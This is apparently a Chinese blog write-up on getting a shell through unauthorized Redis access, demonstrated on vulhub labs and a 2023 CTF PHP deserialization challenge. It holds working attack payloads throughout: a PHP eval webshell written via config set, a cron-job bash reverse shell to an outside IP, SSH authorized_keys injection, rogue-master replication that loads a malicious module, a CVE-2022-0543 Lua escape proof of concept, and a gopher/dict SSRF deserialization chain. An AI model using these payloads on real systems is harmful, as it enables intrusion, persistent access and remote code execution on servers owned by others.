Redisgetshell总结
redis介绍
Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API
大概理解就是是一个内存存储于硬盘的数据库,且存在很多漏洞
Linux下安装配置Redis
首先现在安装压缩包:
wget http://download.redis.io/releases/redis-5.0.7.tar.gz
解压至当前目录
tar -zvxf redis-5.0.7.tar.gz
一般redis都配置在/usr/local/redis目录下,移动文件
mv redis-5.0.7 /usr/local/redis
cd 进入对应目录,进行编译
make
安装:
make PREFIX=/usr/local/redis install
这里多了一个关键字 PREFIX=
这个关键字的作用是编译的时候用于指定程序存放的路径。比如我们现在就是指定了redis必须存放在/usr/local/redis目录。假设不添加该关键字Linux会将可执行文件存放在/usr/local/bin目录,
库文件会存放在/usr/local/lib目录。配置文件会存放在/usr/local/etc目录。其他的资源文件会存放在usr/local/share目录。这里指定号目录也方便后续的卸载,后续直接rm -rf /usr/local/redis 即可删除redis。
配置相关文件
修改内容如下:
#bind 127.0.0.1 //注释这条
protected-mode no //非保护模式
daemonize yes //进程守护,后台运行
关于配置文件详细的修改说明:https://www.cnblogs.com/hello-/articles/9647434.html
启动redis:
redis-server /etc/redis.conf //以redis.conf配置文件内容启动redis服务
redis-cli //另开一窗口,测试连接本地
exit //测试完毕后退出
启动成功示例
本地redis-cli连接成功
攻击机也可直接使用redis-cli 直接进行连接(未授权访问)
(也可以直接使用vulhub靶场里的/redis/4-unacc环境docker-compose up -d一键配置)
redis 指令
redis-server /etc/redis.conf #以etc目录下的配置文件启动redis
redis-cli -h host # 免密登录
redis-cli -h host -p port -a password # 使用 Redis 密码登录 Redis 服务
# 与 Redis 服务连接成功后,执行 PING 命令,如果服务器运作正常的话,会返回一个 PONG
redis-cli shutdown #关闭服务
redis语法
查看信息:info
删除所有数据库內容:flushable
刷新数据库:flush
看所有键:KEYS *,使用 select nun可以查看键值数据
设置变量:set name parar
config set dir dirpath设置路径等配置
config get dir/filename获取路径及数据配置信息
save 用于创建当前数据库的备份,将执行一个同步保存操作,将当前 Redis 实例的所有数据快照(snapshot)以默认 RDB 文件的形式保存到硬盘 (此命令将在 redis 安装目录下创建一个 dump.rdb文件)
get变量,查看变量名称
未授权访问写webshell
https://blog.csdn.net/weixin_45605352/article/details/118790775
攻击条件:
靶机Redis连接未授权,在攻击机上能用redis-cli连上(满足上面配置时的三个条件)
开了web服务器,并且知道路径(如利用phpinfo,错误爆路经,config get dir ),还需要具有文件读写增删改查权限(我们可以将dir设置为一个目录A,而dbfilename为文件名B,再执行save或bgsave,则我们就可以写入一个路径为/A/B的任意文件。)
由于之前利用自己搭建的redis进行写webshell时被腾讯云警告,这里使用vulhub靶场进行演示,但是该靶场没有开启Apache服务,无法蚁剑连接,只能演示写文件操作
首先进入vulhub/redis/4-unacc目录启动容器:docker-compose up -d
启动成功后本地即可redis-cli连接,执行piing会返回一个pong即成功,然后即可使用kali进行未授权访问连接如图则连接成功
这里就在tmp目录下写一个马子
指令:
#设置要写入的目录
config set dir /tmp
一般若有直接写文件权限,可写在网页服务开启的目录下方便 连接,比如var/www/html
#设置写入的文件名
config set dbfilename shell.php
#写马
set a "nnn<?php @eval($_GET[cmd])?>nnn"
由于在redis在写入时,会自带一些版本信息,为避免不影响 我们写入的马子,前后使用n进行分隔
如图所示执行成功,按照图片指示进入docker容器内查看写入的文件
这里也验证了为什么在马子前后要使用\n
定时任务反弹shell
将命令写入定时任务中,操作方式与直接写shell方式一致
config set dir /var/spool/cron/ config
set dbfilename rootset xxx "nn*/1 * * * * /bin/bash -i>&/dev/tcp/175.178.29.101/6666 0>&1nn"
save
在vps上监听端口大概一分钟左右反弹回来
写 ssh-keygen 公钥登录服务器
原理:
登陆linux有几种方式,最常用的是密码登陆和RSA key 登陆,RSA key登陆是生成一个公私对应的秘钥,然后将公钥放到linux系统的/root/.ssh/authorized_keys的文件中,我们本地客户端通过导入对应私钥进行登陆,这就是RSA key的登陆方式。
但是为什么redis可以获取服务器的root权限呢?
上面RSA key的登陆方式在服务器方面是要将公钥写入authorized_keys文件中的,而redis有一种持久化方式是生成RDB文件,通过持久化将公钥写入root下的authored_keys文件里,这样就将非法的公钥写到了验证文件里,后面我们拿对应私钥登陆即可。(但是这种方式需要再redis是root启动的情况下使用,因为非root权限无法进入/root目录)
Redis 存在未授权访问的情况下,开启了 ssh 服务,在数据库中插入一条数据,将本机的公钥作为 value,key 值随意,然后可以通过修改数据库的保存路径为 /root/.ssh
和保存文件名为 authorized.keys
,备份数据库之后就可以在服务器端的 /root/.ssh
下生成一个key。
首先在容器内开启ssh服务
# 安装 openssh 服务
sudo apt-get install openssh-server
# 启动 ssh 服务
sudo /etc/init.d/ssh start
# 配置 root 用户连接权限
sudo vim /etc/ssh/sshd_config
PermitRootLogin yes
# 设置允许通过免密登录
AuthorizedKeysFile .ssh/authorized_keys .ssh/authorized_keys2
# 重启 ssh 服务
sudo /etc/init.d/ssh restart
在kali上生成ssh公钥
cd /root/.ssh
查看生成的公钥
后续步骤与写shell步骤一致,将公钥写入/root/.ssh目录下
#检查当前保存路径
config get dir
#检查保存文件名
config get dbfilename
#设置保存路径
config set dir /root/.ssh/
#设置保存文件名
config set dbfilename authorized_keys
#将公钥写入g1ts健
set a "nnn 公钥 nnn"
#进行保存
save
写入成功即可进行无密码连接
ssh -i /root/.ssh/id_rsa [email protected]
(vulhub这个靶场环境没有进行配置ssh服务,若直接在vps上写会触发腾讯的安全警告,这里没有复现成功)
主从复制getshell
主从模式为使用两台redis,一台为主机,一台为从机;一台负责读,一台负责写,主机和从机的数据是一模一样的,使用主从模式的原因是redis是一个典型的Key-Value对应的数据库,redis中数据处理都是在内存中进行操作的,然后定期将数据存储到磁盘上,那么如果数据量过于庞大,就会对服务端造成比较大的负担,使用主从模式的读写分离可以缓解服务器上的流量压力,算是一种通过牺牲空间来换取效率的缓解方式。
主从复制是指将一台Redis主服务器的数据,复制到其他的Redis从服务器。前者称为主节点(master),后者称为从节点(slave);
主服务器可以进行读写操作,当发生写操作时自动将写操作同步给从服务器,而从服务器一般是只读,并接受主服务器同步过来写操作命令,然后执行这条命令。
从网上抄的一张图能够详细理解其中原理和工作模式
漏洞原理:
Redis 版本(4.x~5.0.5)(新增模块功能module load,可以通过C语言并编译出恶意.so文件)
利用条件:
Redis 版本(4.x~5.0.5)
使用root权限启动redis
需要使用的两个工具
无密码,可以未授权访问:RedisModules-ExecuteCommand:github
或者:redis-rce:github
有密码: Awsome-Redis-Rogue-Server:github
使用工具可以一键导入任意模块达到命令执行
./redis-master.py -r 目标机IP -p 6379 -L 攻击机IP -P 8989 -f RedisModulesSDK/exp/exp.so -c "whoami"
或者手动设置
python3 redis_rogue_server.py -v -path exp.so -lport 6666
首先开启监听端口模拟redis服务,靶机执行相关命令
#设置redis的备份路径
config set dir ./
#设置备份文件名为exp.so,默认为dump.rdb
config set dbfilename exp.so
#设置主服务器IP和端口
slaveof 175.178.29.101 6666
这一步执行成功后vps上应该在不断刷新数据
#从主服务器上加载恶意模块
module load ./exp.so
#切断主从,关闭复制功能
slaveof no one
这一步执行成功后vps数据停止更新
然后在靶机端即可达到命令执行
执行命令模块:system.exec 'whoami'即可执行whoami
CVE-2022-0543(redis沙盒逃逸)
在vulhub靶场上redis目录下发现了这个关于redis的CVE,poc挺简单的,但是具体实现原理还没有弄清楚
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
poc中的io.popen中的id即可写改为任意自己想要执行的代码
主从复制例题2023春秋杯冬季赛ezezez_php
题目进去是一个php反序列化
题目源码:
<?php
highlight_file(__FILE__);
include "function.php";
class Rd
{
public $ending;
public $cl;
public $poc;
public function __destruct()
{
echo "All matters have concluded"."</br>";
}
public function __call($name, $arg)
{
foreach ($arg as $key => $value) {
if ($arg[0]['POC'] == "0.o") {
$this->cl->var1 = "get";
}
}
}
}
class Poc
{
public $payload;
public $fun;
public function __set($name, $value)
{
$this->payload = $name;
$this->fun = $value;
}
function getflag($paylaod)
{
echo "Have you genuinely accomplished what you set out to do?"."</br>";
file_get_contents($paylaod);
}
}
class Er
{
public $symbol;
public $Flag;
public function __construct()
{
$this->symbol = True;
}
public function __set($name, $value)
{
if (preg_match('/^(http|https|gopher|dict)?://.*(/)?.*$/',base64_decode($this->Flag))){
$value($this->Flag);
}
else {
echo "NoNoNo,please you can look hint.php"."</br>";
}
}
}
class Ha
{
public $start;
public $start1;
public $start2;
public function __construct()
{
echo $this->start1 . "__construct" . "</br>";
}
public function __destruct()
{
if ($this->start2 === "o.0") {
$this->start1->Love($this->start);
echo "You are Good!"."</br>";
}
}
}
function get($url) {
$url=base64_decode($url);
var_dump($url);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
$result_info = curl_getinfo($ch);
var_dump($result_info);
curl_close($ch);
var_dump($output);
}
if (isset($_POST['pop'])) {
$a = unserialize($_POST['pop']);
} else {
die("You are Silly goose!");
}
?>
打通链子直接用的瓜哥的poc
$a=new Ha();
$a->start2='o.0';
$a->start1=new Rd();
$a->start=array('POC'=>'0.o');
$a->start1->cl=new Er();
$a->start1->cl->Flag=base64_encode('dict://127.0.0.1:80');
echo serialize($a);
这里题目中提示了在redis服务中的flag才是真正的flag
这里好像不能用gopher协议,用gopher协议进6379会504超时,也就没法直接用gopherus,只能使用dict协议去做一个命令执行
首先将payload改为,探测一下redis服务
dict://127.0.0.1:6379/info
能够直接查到redis的一些配置信息信息
这里之后尝试了一下直接写webshell,首先看了一下路径
dict://127.0.0.1:6379/config get dir
找到路径就是var/www/html页面
写shell的时候一切正常,但是最后保存时出现报错,没有在该目录下进行修改的权限,后来问了一下学长只能在/tmp目录下进行读写,但是这里就算读写后也无法进行访问链接,后来还尝试了直接弹shell,写公钥,都无法成功
最后尝试了主从复制
在info信息中看到当前redis版本为5.0.14
在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在Redis中实现一个新的Redis命令(module),通过写C语言编译并加载恶意的.so文件,达到代码执行的目的。
- 恶意文件生成
使用工具RedisModules-ExecuteCommand:github
在vps下载完成后进入目录进行make编译(这里vps下载失败,可以下到本地再ftp传上去)
这个恶意文件中包含了可以 命令执行的相关模块(exp.so)
- rce工具执行
使用工具Awsome-Redis-Rogue-Server:github
将第一步生成的恶意文件复制一份到该工具目录下
执行工具命令
python3 redis_rogue_server.py -v -path exp.so -lport 6666
执行该命令后会在vps上监听对应端口(这里即6666端口),这里的监听实际上是模仿了一个redis服务
- 在题目端执行相关命令
#设置redis的路径为/tmp config set dir /tmp 这道题目中一定是tmp目录,否则后续命令执行模块无法加载成功 #设置备份文件名为exp.so,默认为dump.rdb config set dbfilename exp.so #设置主服务器IP和端口 slaveof 175.178.29.101 6666 这一步执行成功后vps上应该在不断刷新数据 #从主服务器上加载恶意模块 module load ./exp.so #切断主从,关闭复制功能 slaveof no one 这一步执行成功后vps数据停止更新
这里每一句命令执行后需要在返回界面中看见两个OK才带边命令执行成,若第一步路径设置错误,在加载命令执行模块后就只有一个OK,未能成功加载
- 命令执行
当题目端从vps上加载完成恶意文件后,即可rce
执行命令
system.exec 'whoami'
(这里需要把反序列打的链子中包裹这项命令的引号改为双引号)
命令成功执行,但是后续并没有找到flag,问了学长知道flag藏在环境变量😢
执行命令
system.exec 'env'
即可找到flag
写的好!!!
Gopher504是正常的,他本身是相当于一个端口数据流转发,后跟TCP的一个数据流量,如果没有任何数据的话会一直转圈,服务器中间件在编码一次,后端PHPfpm也再编码一次,两次url编码就可以了
感谢大佬指点!!!
god!!
写的太牛逼了